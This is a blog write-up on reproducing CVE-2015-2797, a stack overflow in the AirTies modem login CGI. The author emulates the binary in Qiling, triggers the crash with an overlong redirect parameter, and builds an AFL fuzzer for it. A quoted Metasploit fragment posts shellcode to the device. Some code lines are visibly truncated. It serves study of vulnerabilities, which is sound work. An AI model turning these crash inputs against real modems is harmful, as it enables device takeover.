Reproducing ndays with Qiling

March 15, 2021 // echel0n

Reproducing n-day vulnerabilities and writing N-day based fuzzer with Qiling

Hello guys! In this blog I will explain how to reproduce and experiment old n-days with amazing Qiling framework.

I was studying exploitation techniques on for months and I felt that I should do something more realistic. The idea came to my mind "I have already studied stack and buffer overflows, so why don't I just do some google search `stack overflow some_modem_firm`?". I found one old stack-based buffer overflow in Airties 5650 old firmware. But, I had one last problem. The problem was "how could I experiment this vulnerability and analyze it without the physical modem?" And I thought that I can use Qiling Framework for the first time on a real target. Voila, great! I could not help myself and one another idea came to my mind too. I have already finished study too, and asked myself "could I write a fuzzer for this?" I watched "Build a Fuzzer Based on a 1day Bug" presentation by Lau Kai Jern, then I decided to fuzz the target. You guys, if you are interested in Qiling and fuzzing you should see the video too.

The selected vulnerability and binary

I was not so much picky about the vulnerability, I just picked the first result on "stack bufferoverflow exploit airties" search and it was CVE-2015-2797, It also had one metasploit module, which is great because it was going to help me on the way of understanding the vulnerability.

Explanation for CVE-2015-2797 is this;

  1. Stack-based buffer overflow in
  2. AirTies Air 6372, 5760, 5750, 5650TT, 5453, 5444TT, 5443, 5442, 5343, 5342, 5341,
  3. and 5021 DSL modems with firmware and earlier allows remote attackers to execute
  4. arbitrary code via a long string in the redirect parameter to cgi-bin/login.

The firmware is available on the internet and I downloaded it on my machine and extracted with sasquatch tool. After very cliche firmware extraction steps, luckily I got what I need to run this cgi-bin/login binary. Let's run this binary with Qiling Framework then!

Running binary with qltool

  1. qltool run -f /home/qiling_projects/Airties/5650v3TT/squashfs-root/webs/cgi-bin/login --rootfs /home/qiling_projects/Airties/5650v3TT/squashfs-root --strace

The output is looking nice, no error and no warnings about something hurr-durr library. This means, the environment is ready to be scripted. Yey! But first let's findout how vulnerability occurs in the target binary.

Understanding the Vulnerability

At this step, we need to analyze how this binary works, to do so we can check disassembled flow of it.

Target binary is very small and has not so much complex flow. Also, It is very understandable for me even I don't know MIPS architecture.

At this step, let's look at the metasploit code and decide to which variables we need to set.

  1. def execute_command(cmd, opts)
  2. shellcode = prepare_shellcode(cmd)
  3. begin
  4. res = send_request_cgi({
  5. 'method' => 'POST',
  6. 'uri' => '/cgi-bin/login',
  7. 'encode_params' => false,
  8. 'vars_post' => {
  9. 'redirect' => shellcode,
  10. 'user' => rand_text_alpha(5),
  11. 'password' => rand_text_alpha(8)
  12. }
  13. })

It is a very clear POST request but there is one problem. We will not emulate the entire web server, we will emulate only login cgi binary. So we need to know how these parameters are ending up in that binary.
For example, this is the very first jump block.

  1. lw v0, -sym.imp.getenv(gp)

I already told you, I don't know MIPS but somehow this line tells me, the binary reads from ENV variables and processes like that.

TL;DR After analyzing session, I figured out, we need to set these environment variables while we are running login binary. It is okay to set method to GET because the vulnerability is in redirect parameter.

  2. "REQUEST_URI": "/cgi-bin/login",
  3. "CONTENT-TYPE": "application/x-www-form-urlencoded",
  4. "REMOTE_ADDR": "",
  5. "REMOTE_PORT": "1881",
  6. #"HTTP_COOKIE": "noneed=1",
  7. "QUERY_STRING": "user=echel0n&password=ILOVEQILING&redirect=YEEEBOIII"

The Scripting Part

Let's start with basics.

  1. def main(input_content: bytes, enable_trace: bool, hook: bool):
  2. env_vars = {
  4. "REQUEST_URI": "/cgi-bin/login",
  5. "CONTENT-TYPE": "application/x-www-form-urlencoded",
  6. "REMOTE_ADDR": "",
  7. "REMOTE_PORT": "80",
  8. "QUERY_STRING": "user=echel0n&password=ILOVEQILING&redirect=" + "vulnerabilityhere",
  9. }
  10. ql = Qiling(
  11. ["/home/qiling_projects/Airties/5650v3TT/squashfs-root/webs/cgi-bin/login"],
  12. rootfs="/home/qiling_projects/Airties/5650v3TT/squashfs-root/",
  13. output="default",
  14. env=env_vars,
  15. console=True if enable_trace else False,
  16. )

It is ready to but I want to know if I will end up in right direction in binary's main. To do so, we can get some help from capstone library. It will do a lot of damage to running time of this script. However, I don't know another way to analyze. If anyone know more efficent way, please reach to me on twitter, I really would like to listen.

  1. last_register = None
  2. only_main = False
  3. def hook_callback(ql, address, size):
  4. global last_register
  5. global only_main
  6. # read current instruction bytes
  7. data =, size)
  8. # initialize Capstone
  10. # disassemble current instruction
  11. for i in md.disasm(data, address):
  12. addr = f"0x{i.address:08x}"
  13. if only_main:
  14. if int(addr,16) > 0x00400b80 and int(addr,16) < 0x004012ac:
  15. last_register = [hex(ql.reg.arch_pc), hex(ql.reg.arch_sp), hex(ql.reg.get_uc_reg("ra"))]
  16. print("[*] 0x{:08x}: {} {}".format(i.address, i.mnemonic, i.op_str))
  17. else:
  18. last_register = [hex(ql.reg.arch_pc), hex(ql.reg.arch_sp), hex(ql.reg.get_uc_reg("ra"))]
  19. print("[*] 0x{:08x}: {} {}".format(i.address, i.mnemonic, i.op_str))

This function will help us to read if the environment variables are all set correctly. We will hook all codes that will be run and print out to terminal. Let's run with empty environment and see where we end up in the main function.

It is very recognizable, lets look at disassembled code below.

Perfect! It runs exactly what we expected. Let's run with environment variables now.

It looks great to me. As far as i can understand, it did not accept our username and password. It is okay tho. Finally we can experiment the vulnerability now. With a little bit more scripting, we can see the details of it. Please try to understand full script below.

  1. #!/usr/bin/env python
  2. from capstone import *
  3. from typing import Optional, Tuple
  4. import sys
  5. import argparse
  6. from qiling import *
  7. from pwn import *
  8. # good informations in this file for capstone, check for further needs
  9. #
  10. last_register = None
  11. only_main = False
  12. def hook_callback(ql, address, size):
  13. global last_register
  14. global only_main
  15. # read current instruction bytes
  16. data =, size)
  17. # initialize Capstone
  19. # disassemble current instruction
  20. for i in md.disasm(data, address):
  21. addr = f"0x{i.address:08x}"
  22. if only_main:
  23. if int(addr,16) > 0x00400b80 and int(addr,16) < 0x004012ac:
  24. last_register = [hex(ql.reg.arch_pc), hex(ql.reg.arch_sp), hex(ql.reg.get_uc_reg("ra"))]
  25. print("[*] 0x{:08x}: {} {}".format(i.address, i.mnemonic, i.op_str))
  26. else:
  27. last_register = [hex(ql.reg.arch_pc), hex(ql.reg.arch_sp), hex(ql.reg.get_uc_reg("ra"))]
  28. print("[*] 0x{:08x}: {} {}".format(i.address, i.mnemonic, i.op_str))
  29. def parser() -> Optional[Tuple[str, bool, bool]]:
  30. global only_main
  31. parser = argparse.ArgumentParser()
  32. parser.add_argument("--input", help="chosen AFL input file", type=str)
  33. try:
  34. parser.add_argument(
  35. "--verbose", help="be verbose about process", dest="verbose", action="store_true"
  36. )
  37. except TypeError:
  38. pass
  39. try:
  40. parser.add_argument("--hook", help="enable disasm output", dest="hook", action="store_true")
  41. except TypeError:
  42. pass
  43. try:
  44. parser.add_argument("--main", help="show only main flow", dest="main", action="store_true")
  45. except TypeError:
  46. pass
  47. args = parser.parse_args()
  48. only_main = args.main
  49. if args.input is None:
  50. print("[ERR] Please, how should I know the name of input file?")
  51. sys.exit()
  52. return args.input, args.verbose, args.hook
  53. def read_file(filename: str) -> bytes:
  54. file = open(filename, "rb")
  55. content =
  56. return content
  57. def main(input_content: bytes, enable_trace: bool, hook: bool):
  58. env_vars = {
  60. "REQUEST_URI": "/cgi-bin/login",
  61. "CONTENT-TYPE": "application/x-www-form-urlencoded",
  62. "REMOTE_ADDR": "",
  63. "REMOTE_PORT": "80",
  64. # you can also provide a input file and throw it here.
  65. # in the metasploit module, redirect buffer size is 359
  66. "QUERY_STRING": "user=echel0n&password=ILOVEQILING&redirect=" + "A"*370, # fill here
  67. }
  68. ql = Qiling(
  69. ["/home/qiling_projects/Airties/5650v3TT/squashfs-root/webs/cgi-bin/login"],
  70. rootfs="/home/qiling_projects/Airties/5650v3TT/squashfs-root/",
  71. output="default",
  72. env=env_vars,
  73. console=True if enable_trace else False,
  74. )
  75. if hook:
  76. main_addr = ql.os.elf_entry
  77. ql.hook_code(hook_callback)
  78. try:
  80. # If I understood correctly,
  81. # unicorn will throw a signal to inform us something bad happened
  82. except:
  83. print("[*] It is crashed")
  84. print("[*] Last Registers:")
  85. print(f"[*] $pc : {hex(ql.reg.arch_pc)}")
  86. # $sp == stack pointer
  87. print(f"[*] $sp : {hex(ql.reg.arch_sp)}")
  88. print("[*] $sp:data ")
  89. # Print it out what is in the address
  90. print(,16))
  91. sys.exit()
  92. if __name__ == "__main__":
  93. input_file, verbose, hook = parser()
  94. input_content = read_file(input_file)
  95. main(input_content, verbose, hook)

Let's go!

I am still studying exploitation and memory corruptions but it looks a valid crash to me.

So far, we experienced the vulnerability without the physical device, yey!!!!
So... the question is "if we did not know the buffer overflow, could we find out with fuzzing?"

The fuzzing part

The example will be a very primivite and fragile, if you want to fuzz something advanced this example will not help you so much. It will crash itself so much because of the limitation of it.
You are warned.

I examined the other examples in the repository and changed little bit to fuzz the redirect parameter Here is the full script of it.

  1. #!/usr/bin/env python
  2. import os, sys
  3. import unicornafl
  4. unicornafl.monkeypatch()
  5. # this is cloned repository
  6. sys.path.append("../../../")
  7. from qiling import *
  8. def main(input_file, enable_trace=False):
  9. env_vars = {
  11. "REQUEST_URI": "/cgi-bin/login",
  12. "CONTENT-TYPE": "application/x-www-form-urlencoded",
  13. "REMOTE_ADDR": "",
  14. "REMOTE_PORT": "1881",
  15. "QUERY_STRING": "user=echel0n&password=ILOVEQILING&redirect=" + "A" * 0x1000 # fill here
  16. }
  17. ql = Qiling(["/home/qiling_projects/Airties/5650v3TT/squashfs-root/webs/cgi-bin/login"],
  18. "/home/qiling_projects/Airties/5650v3TT/squashfs-root/", output="debug", env=env_vars,
  19. console = True if enable_trace else False)
  20. def place_input_callback(uc, input, _, data):
  21. env_var = ("user=echel0n&password=ILOVEQILING&redirect=").encode()
  22. env_vars = env_var + input + b"\x00" + (ql.path).encode() + b"\x00"
  23. ql.mem.write(ql.target_addr, env_vars)
  24. def start_afl(_ql: Qiling):
  25. try:
  26. print("Starting afl_fuzz().")
  27. if not _ql.uc.afl_fuzz(input_file=input_file,
  28. place_input_callback=place_input_callback,
  29. exits=[ql.os.exit_point]):
  30. print("Ran once without AFL attached.")
  31. os._exit(0)
  32. except unicornafl.UcAflError as ex:
  33. if ex != unicornafl.UC_AFL_RET_CALLED_TWICE:
  34. raise
  35. addr ="QUERY_STRING=user=echel0n&password=ILOVEQILING&redirect=".encode())
  36. ql.target_addr = addr[0]
  37. main_addr = ql.os.elf_entry
  38. ql.hook_address(callback=start_afl, address=main_addr)
  39. try:
  41. os._exit(0)
  42. except:
  43. if enable_trace:
  44. print("went broke, get help")
  45. os._exit(0)
  46. if __name__ == "__main__":
  47. if len(sys.argv) == 1:
  48. raise ValueError("No input file provided.")
  49. if len(sys.argv) > 2 and sys.argv[1] == "-t":
  50. main(sys.argv[2], enable_trace=True)
  51. else:
  52. main(sys.argv[1])
  1. #!/bin/bash
  2. if [ ! -d ./AFLplusplus ]; then
  3. git clone
  4. cd AFLplusplus
  5. make
  6. cd ./unicorn_mode
  7. ./
  8. cd ../../
  9. fi
  10. AFL_AUTORESUME=1 AFL_PATH="$(realpath ./AFLplusplus)" PATH="$AFL_PATH:$PATH" afl-fuzz -t 40 -i afl_inputs -o afl_outputs -U -- python3 ./ @@

You have to start it from bash script and it will use the python script above. Last thing you should know that coredumps are useless for this example. You won't be using coredumps. Check the mutated input that crashed the process. The first script already gets a input file, just change the junk A*370 to input_content variable. I will warn you again, this will crash itself so much and will create a lot of duplicates and nonsense coredumps. You have to fill the buffer in the first allocation as big as you can, maybe it will do better.

Thank you for reading my write-up! Have a nice day absolute legends!